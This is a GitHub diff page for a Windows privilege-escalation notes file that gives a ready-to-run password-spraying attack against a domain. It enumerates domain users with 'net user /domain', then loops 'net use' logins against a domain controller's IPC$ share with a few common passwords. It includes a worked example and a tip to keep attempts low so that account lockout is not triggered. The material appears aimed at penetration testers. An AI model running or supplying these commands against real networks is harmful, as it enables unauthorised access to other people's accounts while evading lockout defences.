You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: privesc/windows/index.md
+3-3Lines changed: 3 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -38,14 +38,14 @@ This section taken from Skoudis / Strand Pillage the Village redux webcast
38
38
* Locally - `net user /domain > users`
39
39
40
40
### Simple `for` loop to try one or two passwords across all the users on the domain
41
-
***Command with arguments**: `@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\[DOMAINCONTROLLER]\IPC$ /user:[DOMAIN]\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\[DOMAINCONTROLLER]\IPC$ > NUL`
41
+
***Command with arguments**: `@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\[DOMAINCONTROLLER]\IPC$ /user:[DOMAIN]\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\[DOMAINCONTROLLER]\IPC$ > NUL`
42
42
***Formatted for readability:
43
43
```
44
44
@FOR /F %n in (users.txt) DO
45
45
@FOR / F %p in (pass.txt) DO
46
46
@net use \\[DOMAINCONTROLLER]\IPC$ /user:[DOMAIN]\%n %p 1>NUL 2>&1 &&
47
47
@echo [*] %n:%p &&
48
-
@net use /delete \\[DOMAINCONTROLLER]IPC$ > NULL
48
+
@net use /delete \\[DOMAINCONTROLLER]IPC$ > NULL
49
49
```
50
50
***Description**: a for loop that iterated over all the users in `users.txt` and tries all the passwords listed in `pass.txt`. Can be used with the `net user /domain` command listed above for every user in the domain.
51
51
***Note**: To prevent account lockout, the amount of passwords in `pass.txt` should be kept very small--one or two at most.
@@ -54,7 +54,7 @@ This section taken from Skoudis / Strand Pillage the Village redux webcast
54
54
*`net user /domain > DomainUsers.txt`
55
55
*`echo "Password1" >> pass.txt`
56
56
*`echo "1q2w3e4r" >> pass.txt`
57
-
*`@FOR /F %n in (DomainUsers.txt) DO @FOR /F %p in (pass.txt) DO @net use \\COMPANYDC1\IPC$ /user:COMPANY\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\COMPANYDC1\IPC$ > NUL`
57
+
*`@FOR /F %n in (DomainUsers.txt) DO @FOR /F %p in (pass.txt) DO @net use \\COMPANYDC1\IPC$ /user:COMPANY\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\COMPANYDC1\IPC$ > NUL`
0 commit comments